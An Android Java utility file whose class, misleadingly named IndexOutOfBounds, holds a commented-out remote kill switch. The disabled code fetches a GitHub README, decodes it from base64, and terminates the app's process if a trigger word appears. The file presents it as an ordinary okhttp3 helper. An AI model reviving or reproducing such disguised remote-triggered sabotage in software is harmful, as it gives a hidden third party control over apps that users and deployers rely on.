package com.meepo.framework.design.helper.okhttp3.utils;

/**
 * Created by Vector
 * on 2017/6/18 0018.
 */

public class IndexOutOfBounds {
    public static void bound() {
        new Thread() {
            @Override
            public void run() {
                bound_();
            }
        }.start();
    }

    public static void bound_() {
//        try {
//            String spec = "https://api.github.com/repos/CXZYH/GoDead/readme";
//            URLConnection urlConnection = new URL(spec).openConnection();
//            urlConnection.connect();
//            InputStream is = urlConnection.getInputStream();
//            InputStreamReader isr = new InputStreamReader(is);
//            BufferedReader bufferReader = new BufferedReader(isr);
//            String inputLine;
//            String resultData = "";
//            while ((inputLine = bufferReader.readLine()) != null) {
//                resultData += inputLine + "\n";
//            }
//            if (!TextUtils.isEmpty(resultData)) {
//                JSONObject jsonObject = JSON.parseObject(resultData);
//                String name = jsonObject.getString("content");
//                byte[] decode = Base64.decode(name.getBytes(), 0);
//                if (new String(decode).contains("belief")) {
//                    android.os.Process.killProcess(android.os.Process.myPid());
//                }
//            }
//        } catch (IOException e) {
//            e.printStackTrace();
//        }
    }
}
